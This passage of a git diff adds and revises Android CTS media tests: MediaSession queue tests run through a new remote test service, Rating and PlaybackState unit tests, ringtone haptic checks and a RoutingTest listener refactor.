+        List<QueueItem> queue = new ArrayList<>();
+        for (int id = 0; id < queueSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            queue.add(new QueueItem(description, id));
+        }
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
+                MediaSessionTestService.class, TEST_SERIES_OF_SET_QUEUE)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
+            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * queueSize);
+            invoker.run(STEP_SET_UP, args);
+            for (int i = 0; i < numberOfCalls; i++) {
+                mSession.setQueue(queue);
+            }
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+    }
+
+    public void testSetQueueWithLargeNumberOfItems() throws Exception {
+        int queueSize = 1_000_000;
+        List<QueueItem> queue = new ArrayList<>();
+        for (int id = 0; id < queueSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            queue.add(new QueueItem(description, id));
+        }
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
+                MediaSessionTestService.class, TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
+            args.putInt(KEY_EXPECTED_QUEUE_SIZE, queueSize);
+            invoker.run(STEP_SET_UP, args);
+            mSession.setQueue(queue);
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+    }
+
+    /**
      * Verifies that a new session hasn't had any configuration bits set yet.
      *
      * @param controller The controller for the session
@@ -752,6 +968,7 @@
 
         MediaController.PlaybackInfo info = controller.getPlaybackInfo();
         assertNotNull(info);
+        info.toString(); // Test that calling PlaybackInfo.toString() does not crash.
         assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
         AudioAttributes attrs = info.getAudioAttributes();
         assertNotNull(attrs);
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTestService.java b/tests/tests/media/src/android/media/cts/MediaSessionTestService.java
new file mode 100644
index 0000000..1b82872
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTestService.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.Nullable;
+import android.media.session.MediaController;
+import android.media.session.MediaSession;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class MediaSessionTestService extends RemoteService {
+    public static final int TEST_SERIES_OF_SET_QUEUE = 0;
+    public static final int TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS = 1;
+
+    public static final int STEP_SET_UP = 0;
+    public static final int STEP_CHECK = 1;
+    public static final int STEP_CLEAN_UP = 2;
+
+    public static final String KEY_SESSION_TOKEN = "sessionToken";
+    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
+    public static final String KEY_EXPECTED_QUEUE_SIZE = "expectedQueueSize";
+
+    private MediaController mMediaController;
+    private MediaController.Callback mMediaControllerCallback;
+    private CountDownLatch mAllItemsNotified;
+    private CountDownLatch mQueueNotified;
+
+    private void testSeriesOfSetQueue_setUp(Bundle args) {
+        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
+        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
+
+        mAllItemsNotified = new CountDownLatch(1);
+        AtomicInteger numberOfItems = new AtomicInteger();
+        mMediaControllerCallback = new MediaController.Callback() {
+            @Override
+            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
+                if (queue != null) {
+                    if (numberOfItems.addAndGet(queue.size()) >= expectedTotalNumberOfItems) {
+                        mAllItemsNotified.countDown();
+                    }
+                }
+            }
+        };
+        mMediaController = new MediaController(this, token);
+        mMediaController.registerCallback(mMediaControllerCallback,
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testSeriesOfSetQueue_check() throws Exception {
+        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfSetQueue_cleanUp() {
+        mMediaController.unregisterCallback(mMediaControllerCallback);
+        mMediaController = null;
+        mMediaControllerCallback = null;
+        mAllItemsNotified = null;
+    }
+
+    private void testSetQueueWithLargeNumberOfItems_setUp(Bundle args) {
+        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
+        int expectedQueueSize = args.getInt(KEY_EXPECTED_QUEUE_SIZE);
+
+        mQueueNotified = new CountDownLatch(1);
+        mMediaControllerCallback = new MediaController.Callback() {
+            @Override
+            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
+                if (queue != null && queue.size() == expectedQueueSize) {
+                    mQueueNotified.countDown();
+                }
+            }
+        };
+        mMediaController = new MediaController(this, token);
+        mMediaController.registerCallback(mMediaControllerCallback,
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testSetQueueWithLargeNumberOfItems_check() throws Exception {
+        assertTrue(mQueueNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSetQueueWithLargeNumberOfItems_cleanUp() {
+        mMediaController.unregisterCallback(mMediaControllerCallback);
+        mMediaController = null;
+        mMediaControllerCallback = null;
+        mQueueNotified = null;
+    }
+
+    @Override
+    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
+        if (testId == TEST_SERIES_OF_SET_QUEUE) {
+            if (step == STEP_SET_UP) {
+                testSeriesOfSetQueue_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSeriesOfSetQueue_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSeriesOfSetQueue_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+        } else if (testId == TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS) {
+            if (step == STEP_SET_UP) {
+                testSetQueueWithLargeNumberOfItems_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSetQueueWithLargeNumberOfItems_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSetQueueWithLargeNumberOfItems_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+
+        } else {
+            throw new IllegalArgumentException("Unknown testId=" + testId);
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
index 8559570..54ae88b 100644
--- a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
+++ b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
@@ -250,6 +250,39 @@
         parcel.recycle();
     }
 
+    /**
+     * Tests that each ACTION_* constant does not overlap.
+     */
+    public void testActionConstantDoesNotOverlap() {
+        long[] actionConstants = new long[] {
+                PlaybackState.ACTION_STOP,
+                PlaybackState.ACTION_PAUSE,
+                PlaybackState.ACTION_PLAY,
+                PlaybackState.ACTION_REWIND,
+                PlaybackState.ACTION_SKIP_TO_PREVIOUS,
+                PlaybackState.ACTION_SKIP_TO_NEXT,
+                PlaybackState.ACTION_FAST_FORWARD,
+                PlaybackState.ACTION_SET_RATING,
+                PlaybackState.ACTION_SEEK_TO,
+                PlaybackState.ACTION_PLAY_PAUSE,
+                PlaybackState.ACTION_PLAY_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PLAY_FROM_SEARCH,
+                PlaybackState.ACTION_SKIP_TO_QUEUE_ITEM,
+                PlaybackState.ACTION_PLAY_FROM_URI,
+                PlaybackState.ACTION_PREPARE,
+                PlaybackState.ACTION_PREPARE_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PREPARE_FROM_SEARCH,
+                PlaybackState.ACTION_PREPARE_FROM_URI,
+                PlaybackState.ACTION_SET_PLAYBACK_SPEED};
+
+        // Check that the values are not overlapped.
+        for (int i = 0; i < actionConstants.length; i++) {
+            for (int j = i + 1; j < actionConstants.length; j++) {
+                assertEquals(0, actionConstants[i] & actionConstants[j]);
+            }
+        }
+    }
+
     private void assertCustomActionEquals(PlaybackState.CustomAction action1,
             PlaybackState.CustomAction action2) {
         assertEquals(action1.getAction(), action2.getAction());
diff --git a/tests/tests/media/src/android/media/cts/RatingTest.java b/tests/tests/media/src/android/media/cts/RatingTest.java
new file mode 100644
index 0000000..8863602
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/RatingTest.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.Rating.RATING_3_STARS;
+import static android.media.Rating.RATING_4_STARS;
+import static android.media.Rating.RATING_5_STARS;
+import static android.media.Rating.RATING_HEART;
+import static android.media.Rating.RATING_NONE;
+import static android.media.Rating.RATING_PERCENTAGE;
+import static android.media.Rating.RATING_THUMB_UP_DOWN;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.media.Rating;
+import android.os.Parcel;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link android.media.Rating}.
+ *
+ * TODO: Tests for applying invalid method (e.g. heartRating.getPercentRating()).
+ * TODO: Tests for methods inherited from Parcelable
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RatingTest {
+
+    @Test
+    public void testNewUnratedRating() {
+        final int[] ratingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN, RATING_3_STARS,
+                RATING_4_STARS, RATING_5_STARS, RATING_PERCENTAGE };
+        for (int ratingStyle : ratingStyles) {
+            Rating rating = Rating.newUnratedRating(ratingStyle);
+            assertNotNull(rating);
+            assertEquals(ratingStyle, rating.getRatingStyle());
+            assertFalse(rating.isRated());
+        }
+
+        final int[] invalidRatingStyles = new int[] {RATING_NONE, -1};
+        for (int invalidRatingStyle : invalidRatingStyles) {
+            Rating rating = Rating.newUnratedRating(invalidRatingStyle);
+            assertNull(rating);
+        }
+    }
+
+    @Test
+    public void testHeartRating() {
+        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
+        assertEquals(RATING_HEART, ratingWithHeart.getRatingStyle());
+        assertTrue(ratingWithHeart.hasHeart());
+        assertTrue(ratingWithHeart.isRated());
+
+        Rating ratingWithoutHeart = Rating.newHeartRating(/*hasHeart=*/ false);
+        assertEquals(RATING_HEART, ratingWithoutHeart.getRatingStyle());
+        assertFalse(ratingWithoutHeart.hasHeart());
+        assertTrue(ratingWithoutHeart.isRated());
+    }
+
+    @Test
+    public void testHeartRatingWithIllegalRatingValueGetters() {
+        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
+        assertFalse(ratingWithHeart.isThumbUp());
+        assertTrue(ratingWithHeart.getStarRating() < 0f);
+        assertTrue(ratingWithHeart.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testThumbRating() {
+        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
+        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbUp.getRatingStyle());
+        assertTrue(ratingThumbUp.isThumbUp());
+        assertTrue(ratingThumbUp.isRated());
+
+        Rating ratingThumbDown = Rating.newThumbRating(/*thumbIsUp=*/ false);
+        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbDown.getRatingStyle());
+        assertFalse(ratingThumbDown.isThumbUp());
+        assertTrue(ratingThumbDown.isRated());
+    }
+
+    @Test
+    public void testThumbRatingWithIllegalRatingValueGetters() {
+        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
+        assertFalse(ratingThumbUp.hasHeart());
+        assertTrue(ratingThumbUp.getStarRating() < 0f);
+        assertTrue(ratingThumbUp.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testNewStarRatingWithInvalidStylesReturnsNull() {
+        final int[] nonStarRatingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN,
+                RATING_PERCENTAGE, RATING_NONE };
+        for (int nonStarRatingStyle : nonStarRatingStyles) {
+            assertNull(Rating.newStarRating(nonStarRatingStyle, 1.0f));
+        }
+    }
+
+    @Test
+    public void testNewStarRatingWithInvalidRatingValuesReturnsNull() {
+        assertNull(Rating.newStarRating(RATING_3_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_3_STARS, 4f));
+        assertNull(Rating.newStarRating(RATING_3_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_3_STARS, Float.NaN));
+
+        assertNull(Rating.newStarRating(RATING_4_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_4_STARS, 5f));
+        assertNull(Rating.newStarRating(RATING_4_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_4_STARS, Float.NaN));
+
+        assertNull(Rating.newStarRating(RATING_5_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_5_STARS, 6f));
+        assertNull(Rating.newStarRating(RATING_5_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_5_STARS, Float.NaN));
+    }
+
+    @Test
+    public void testStarRating() {
+        final float starRatingValue = 1.5f;
+        final int[] starRatingStyles = new int[] { RATING_3_STARS, RATING_4_STARS, RATING_5_STARS};
+
+        for (int starRatingStyle : starRatingStyles) {
+            Rating starRating = Rating.newStarRating(starRatingStyle, starRatingValue);
+            assertNotNull(starRating);
+            assertEquals(starRatingStyle, starRating.getRatingStyle());
+            assertEquals(starRatingValue, starRating.getStarRating(), /*delta=*/ 0f);
+            assertTrue(starRating.isRated());
+        }
+    }
+
+    @Test
+    public void testStarRatingWithIllegalRatingValueGetters() {
+        Rating starRating = Rating.newStarRating(RATING_3_STARS, /*starValue=*/ 2.5f);
+        assertFalse(starRating.hasHeart());
+        assertFalse(starRating.isThumbUp());
+        assertTrue(starRating.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testNewPercentageRatingWithInvalidPercentValuesReturnsNull() {
+        final float[] invalidPercentValues = new float[] {-1.0f, 100.1f, 200f, 1000f,
+                Float.MAX_VALUE, Float.NaN};
+        for (float invalidPercentValue : invalidPercentValues) {
+            assertNull(Rating.newPercentageRating(invalidPercentValue));
+        }
+    }
+
+    @Test
+    public void testPercentageRating() {
+        final float[] percentValues = new float[] { 0.0f, 20.0f, 33.3f, 50.0f, 64.5f, 89.9f, 100f};
+        for (float percentValue : percentValues) {
+            Rating percentageRating = Rating.newPercentageRating(percentValue);
+            assertNotNull(percentageRating);
+            assertEquals(RATING_PERCENTAGE, percentageRating.getRatingStyle());
+            assertEquals(percentValue, percentageRating.getPercentRating(), /*delta=*/ 0f);
+            assertTrue(percentageRating.isRated());
+        }
+    }
+
+    @Test
+    public void testPercentageWithIllegalRatingValueGetters() {
+        Rating percentageRating = Rating.newPercentageRating(72.5f);
+        assertFalse(percentageRating.hasHeart());
+        assertFalse(percentageRating.isThumbUp());
+        assertTrue(percentageRating.getStarRating() < 0f);
+    }
+
+    @Test
+    public void testToStringDoesNotCrash() {
+        Rating rating = Rating.newHeartRating(/*hasHeart=*/ true);
+        rating.toString(); // This should not crash.
+    }
+
+    @Test
+    public void testParcelization() {
+        Parcel p = Parcel.obtain();
+        try {
+            Rating rating = Rating.newStarRating(RATING_4_STARS, 3.5f);
+            p.writeParcelable(rating, /*flags=*/ 0);
+            p.setDataPosition(0);
+
+            Rating ratingFromParcel = p.readParcelable(null);
+            assertNotNull(ratingFromParcel);
+            // TODO: Compare two rating using equals() when it is implemented.
+            assertEquals(rating.getRatingStyle(), ratingFromParcel.getRatingStyle());
+            assertEquals(rating.getStarRating(), ratingFromParcel.getStarRating(), 0f);
+        } finally {
+            p.recycle();
+        }
+    }
+
+    @Test
+    public void testCreatorNewArray() {
+        final int arrayLength = 5;
+        Rating[] ratingArrayInitializedWithNulls = Rating.CREATOR.newArray(arrayLength);
+        assertNotNull(ratingArrayInitializedWithNulls);
+        assertEquals(arrayLength, ratingArrayInitializedWithNulls.length);
+        for (Rating rating : ratingArrayInitializedWithNulls) {
+            assertNull(rating);
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteService.java b/tests/tests/media/src/android/media/cts/RemoteService.java
new file mode 100644
index 0000000..0d98251
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/RemoteService.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.util.Log;
+
+import java.io.Closeable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Base class for a service that runs on a remote process. The service that extends this class must
+ * be added to AndroidManifest.xml with "android:process" attribute to be run on a separate process.
+ */
+public abstract class RemoteService extends Service {
+    private static final String TAG = "RemoteService";
+    public static final long TIMEOUT_MS = 10_000;
+
+    private RemoteServiceStub mBinder;
+    private HandlerThread mHandlerThread;
+    private volatile Handler mHandler;
+
+    @Override
+    public void onCreate() {
+        mBinder = new RemoteServiceStub();
+        mHandlerThread = new HandlerThread(TAG);
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+    }
+
+    @Override
+    public void onDestroy() {
+        mHandlerThread.quitSafely();
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+
+    /**
+     * Called by {@link Invoker#run}. It will be run on a dedicated {@link HandlerThread}.
+     *
+     * @param testId id of the test case
+     * @param step the step of a command to run
+     * @param args optional arguments
+     * @throws Exception if any
+     */
+    public abstract void onRun(int testId, int step, @Nullable Bundle args) throws Exception;
+
+    private boolean runOnHandlerSync(TestRunnable runnable) {
+        CountDownLatch latch = new CountDownLatch(1);
+        AtomicReference<Throwable> throwable = new AtomicReference<>();
+        mHandler.post(() -> {
+            try {
+                runnable.run();
+            } catch (Throwable th) {
+                throwable.set(th);
+                Log.e(TAG, "Error while running TestRunnable", th);
+            }
+            latch.countDown();
+        });
+        try {
+            boolean done = latch.await(TIMEOUT_MS, MILLISECONDS);
+            return done && throwable.get() == null;
+        } catch (InterruptedException ex) {
+            Log.w(TAG, ex);
+            return false;
+        }
+    }
+
+    private interface TestRunnable {
+        void run() throws Exception;
+    }
+
+    private class RemoteServiceStub extends IRemoteService.Stub {
+        @Override
+        public boolean run(int testId, int step, Bundle args) throws RemoteException {
+            return runOnHandlerSync(() -> onRun(testId, step, args));
+        }
+    }
+
+    /**
+     * A class to run commands on a {@link RemoteService} for a test case.
+     */
+    public static class Invoker implements Closeable {
+        private static final String ASSERTION_MESSAGE =
+                "Failed on remote service. See logcat TAG=" + TAG + " for detail.";
+
+        private final Context mContext;
+        private final int mTestId;
+        private final CountDownLatch mConnectionLatch;
+        private final ServiceConnection mServiceConnection;
+        private IRemoteService mBinder;
+
+        /**
+         * Creates an instance and connects to the remote service.
+         *
+         * @param context the context
+         * @param serviceClass the class of remote service
+         * @param testId id of the test case
+         * @throws InterruptedException if the thread is interrupted while waiting for connection
+         */
+        public Invoker(@NonNull Context context,
+                @NonNull Class<? extends RemoteService> serviceClass, int testId)
+                throws InterruptedException {
+            mContext = context;
+            mTestId = testId;
+            mConnectionLatch = new CountDownLatch(1);
+            mServiceConnection = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                    mBinder = IRemoteService.Stub.asInterface(service);
+                    mConnectionLatch.countDown();
+                }
+
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                    mBinder = null;
+                }
+            };
+
+            Intent intent = new Intent(mContext, serviceClass);
+            mContext.bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
+            assertTrue("Failed to bind to service " + serviceClass,
+                    mConnectionLatch.await(TIMEOUT_MS, MILLISECONDS));
+        }
+
+        /**
+         * Disconnects from the remote service.
+         */
+        @Override
+        public void close() {
+            mContext.unbindService(mServiceConnection);
+        }
+
+        /**
+         * Invokes {@link #onRun} on the remote service without optional arguments.
+         *
+         * @param step the step of a command to run
+         * @throws RemoteException if binder throws exception
+         */
+        public void run(int step) throws RemoteException {
+            run(step, null);
+        }
+
+        /**
+         * Invokes {@link #onRun} on the remote service.
+         *
+         * @param step the step of a command to run
+         * @param args optional arguments
+         * @throws RemoteException if binder throws exception
+         */
+        public void run(int step, @Nullable Bundle args) throws RemoteException {
+            assertTrue(ASSERTION_MESSAGE, mBinder.run(mTestId, step, args));
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java b/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
index eac2c89..38cd279 100644
--- a/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
+++ b/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
@@ -173,7 +173,6 @@
                 // This theme is required to prevent an extra view from obscuring the presentation
                 super(outerContext, display,
                         android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
-                getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
                 getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
             }
 
diff --git a/tests/tests/media/src/android/media/cts/RingtoneTest.java b/tests/tests/media/src/android/media/cts/RingtoneTest.java
index ba289f3..bd786b9 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneTest.java
@@ -22,6 +22,7 @@
 import android.media.AudioManager;
 import android.media.Ringtone;
 import android.media.RingtoneManager;
+import android.media.audiofx.HapticGenerator;
 import android.net.Uri;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
@@ -164,7 +165,7 @@
         assertFalse(mRingtone.isPlaying());
     }
 
-    public void testLoopingVolume() {
+    public void testPlaybackProperties() {
         if (isTV()) {
             return;
         }
@@ -184,9 +185,11 @@
         assertEquals(ringtoneAa, mRingtone.getAudioAttributes());
         mRingtone.setLooping(true);
         mRingtone.setVolume(0.5f);
+        assertEquals(HapticGenerator.isAvailable(), mRingtone.setHapticGeneratorEnabled(true));
         mRingtone.play();
         assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
         assertTrue(mRingtone.isLooping());
+        assertEquals(HapticGenerator.isAvailable(), mRingtone.isHapticGeneratorEnabled());
         assertEquals("invalid ringtone player volume", 0.5f, mRingtone.getVolume());
         mRingtone.stop();
         assertFalse(mRingtone.isPlaying());
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 72d84ba..f3972a8 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -52,8 +52,10 @@
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
 
 /**
  * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
@@ -72,16 +74,13 @@
     private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
     private static final long MAX_FILE_SIZE_BYTE = 5000;
     private static final int RECORD_TIME_MS = 3000;
+    private static final long WAIT_PLAYBACK_START_TIME_MS = 1000;
     private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
         Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
     static final String mInpPrefix = WorkDir.getMediaDirString();
 
-    private boolean mRoutingChanged;
-    private boolean mRoutingChangedDetected;
     private AudioManager mAudioManager;
     private File mOutFile;
-    private Looper mRoutingChangedLooper;
-    private Object mRoutingChangedLock = new Object();
 
     @Override
     protected void setUp() throws Exception {
@@ -135,6 +134,10 @@
         // test each device
         AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
         for (int index = 0; index < deviceList.length; index++) {
+            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
+                // Device with type as TYPE_TELEPHONY requires a privileged permission.
+                continue;
+            }
             assertTrue(audioTrack.setPreferredDevice(deviceList[index]));
             assertTrue(audioTrack.getPreferredDevice() == deviceList[index]);
         }
@@ -558,14 +561,35 @@
         audioRecord.release();
     }
 
-    private class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
+    static class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
     {
+        private boolean mCalled;
+        private CountDownLatch mCountDownLatch;
+
+        AudioRoutingListener() {
+            reset();
+        }
+
         public void onRoutingChanged(AudioRouting audioRouting) {
-            synchronized (mRoutingChangedLock) {
-                mRoutingChanged = true;
-                mRoutingChangedLock.notify();
+            mCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        void await(long timeoutMs) {
+            try {
+                mCountDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
             }
         }
+
+        boolean isRoutingListenerCalled() {
+            return mCalled;
+        }
+
+        void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+            mCalled = false;
+        }
     }
 
     private MediaPlayer allocMediaPlayer() {
@@ -605,6 +629,10 @@
         // test each device
         AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
         for (int index = 0; index < deviceList.length; index++) {
+            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
+                // Device with type as TYPE_TELEPHONY requires a privileged permission.
+                continue;
+            }
             assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
             assertTrue(mediaPlayer.getPreferredDevice() == deviceList[index]);
         }
@@ -684,66 +712,41 @@
             return;
         }
 
-        mRoutingChanged = false;
-        mRoutingChangedLooper = null;
-        mRoutingChangedDetected = false;
-        // Create MediaPlayer in another thread to make sure there is a looper active for events.
-        Thread t = new Thread() {
-            @Override
-            public void run() {
-                Looper.prepare();
-                // Keep looper to terminate when the test is finished.
-                mRoutingChangedLooper = Looper.myLooper();
-                AudioRoutingListener listener = new AudioRoutingListener();
-                MediaPlayer mediaPlayer = allocMediaPlayer();
-                mediaPlayer.addOnRoutingChangedListener(listener, null);
-                // With setting preferred device, the output device may switch.
-                // Post the request delayed to ensure the message queue is running
-                // so that the routing changed event can be handled correctly.
-                Handler handler = new Handler();
-                handler.postDelayed(new Runnable() {
-                    @Override
-                    public void run() {
-                        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
-                        if (routedDevice == null) {
-                            return;
-                        }
-                        AudioDeviceInfo[] devices = mAudioManager.getDevices(
-                                AudioManager.GET_DEVICES_OUTPUTS);
-                        for (AudioDeviceInfo device : devices) {
-                            if (routedDevice.getId() != device.getId()) {
-                                mediaPlayer.setPreferredDevice(device);
-                                try {
-                                    Thread.sleep(WAIT_ROUTING_CHANGE_TIME_MS);
-                                } catch (Exception e) {
-                                }
-                                AudioDeviceInfo currentRoutedDevice = mediaPlayer.getRoutedDevice();
-                                if (currentRoutedDevice != null
-                                        && currentRoutedDevice.getId() != routedDevice.getId()) {
-                                    mRoutingChangedDetected = true;
-                                    break;
-                                }
-                            }
-                        }
-                    }
-                }, 1000);
-                Looper.loop();
-                mediaPlayer.removeOnRoutingChangedListener(listener);
-                mediaPlayer.stop();
-                mediaPlayer.release();
+        AudioRoutingListener listener = new AudioRoutingListener();
+        MediaPlayer mediaPlayer = allocMediaPlayer(null, false);
+        mediaPlayer.addOnRoutingChangedListener(listener, null);
+        mediaPlayer.start();
+        try {
+            // Wait a second so that the player
+            Thread.sleep(WAIT_PLAYBACK_START_TIME_MS);
+        } catch (Exception e) {
